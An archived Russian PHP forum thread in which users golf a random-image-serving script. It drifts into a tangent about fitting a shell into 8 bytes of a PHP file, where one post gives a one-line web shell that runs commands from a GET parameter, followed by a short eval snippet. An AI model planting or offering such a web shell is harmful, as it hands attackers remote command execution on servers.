PDA

Просмотр полной версии : random image viewer- минифицируем код?


Дикс
02.08.2008, 07:35
задача - вывести рандомную картинку.
кто сможет сделать это короче?


<? php
header('Content-type: image/jpg');
$hd = opendir('photo');
while($file = readdir($hd))
if($file != '.' && $file != '..')
$imgs[] = $file;
echo file_get_contents('photo/' . $imgs[rand(0, sizeof($imgs)-1)]);


PS усложнение задачи- добавить GIF

Дикс
02.08.2008, 18:00
слабаки! ))

Naydav
03.08.2008, 03:09
слабаки! ))
Ипать, а что тебе нужно конкретно?
Не можежь gif добаввить НЕ слабак?



static function isFolder($DestinationPath)
{
return is_dir($DestinationPath);
}



static function _testExtension( $filename, $extension )
{
if ( $extension == null)
return true;
$i=strlen($filename)-1;
for( ; $i >= 0; $i-- )
{
if ( $filename[$i] == '.' )
break;
}

if ( $filename[$i] != '.' )
return false;
else
{
$ext = substr( $filename, $i+1 );

if(is_array($extension))
return in_array($ext, $extension);
else
return ( strtolower($extension) == strtolower($ext) );
}
}



static function GetFilesInDirectory($dir, $extension = "")
{
if(!self::isFolder($dir))
return false;
if(substr($dir,-1)=='/')
$dir=substr($dir, 0, -1);
$dh = opendir($dir);
$files = array();
while (false !== ($filename = readdir($dh)))
{
if ( !is_dir($dir.'/'.$filename) && $filename != "." && $filename != ".." )
{
if (self:: _testExtension($filename,$extension) )
$files[] = $dir."/".$filename;
}
}
closedir($dh);
return $files;
}



static function randomFoto()
{
$input = self::GetFilesInDirectory('_site/random_foto/', array('gif', 'jpg', 'jpeg', 'png'));
$rand_keys = array_rand($input, 1);
return $input[$rand_keys];
}



Не совсем прозрачно, ибо вырезка из Модели, но поймешь!

NOmeR1
03.08.2008, 03:45
слабаки! ))
Чё??!
<?php
$a=glob('photo/*.{gif,jpg,png,jpeg}', GLOB_BRACE);
$u=$a[rand(0,sizeof($a)-1)];
header('Content-type: image/'.(($a=substr($u, strrpos($u, '.')+1))=='jpg'?'jpeg':$a));
readfile($u);
?>
Читает gif, jpg, png, jpeg

Дикс
03.08.2008, 09:26
2 Naydav
мужик, эт че ваще? ))) заголовок темы прочитай
я даж изучать твою портянку не хочу бгыгы

2 NOmeR1

особенно спасибо за раскрытие этого метода:

(*****)=='jpg'?'jpeg':$a)

ох уж эти тернарные операторы и булевы условия, столько тайн!

В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать :)

+toxa+
03.08.2008, 10:02
2 Naydav
мужик, эт че ваще? ))) заголовок темы прочитай
я даж изучать твою портянку не хочу бгыгы

2 NOmeR1

особенно спасибо за раскрытие этого метода:

(*****)=='jpg'?'jpeg':$a)

ох уж эти тернарные операторы и булевы условия, столько тайн!

В твоём примере ещё маленький штрих - закрывающий тег ?> можно убрать :)
Это как выполнение команд на 8 байт)

Дикс
03.08.2008, 10:10
в смысле?

NOmeR1
03.08.2008, 10:55
в смысле?
Кажется нитрокс делал. Типо у тебя есть поле в котором ты можешь максимум вписать 8 байт, они запишутся в файл (*.php), и тебе нужно с помощью этих 8 байт выполнить шелл. :)

AdReNa1!Ne
03.08.2008, 11:11
Прошу прощения за оффтоп...
Случайно не про этот шелл говорится?

<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>

Ток тут явно не 8 байт.
print `$_GET[fuckkk]`;
Мне даже интересно стало, как укоцали шелл до 8 байт)) Если найдете - скиньте мне посмотреть)

BlackSun
03.08.2008, 11:38
8 байт включая <??> или без?)

n1†R0x
03.08.2008, 11:39
Кажется нитрокс делал. Типо у тебя есть поле в котором ты можешь максимум вписать 8 байт, они запишутся в файл (*.php), и тебе нужно с помощью этих 8 байт выполнить шелл. :)
не я ) Накснорт или Тоха вроде

BlackSun
03.08.2008, 11:43
Если не считать <??>
<?eval $a;?> - 8 байт ..

Дикс
03.08.2008, 16:29
закрывающий не нужен!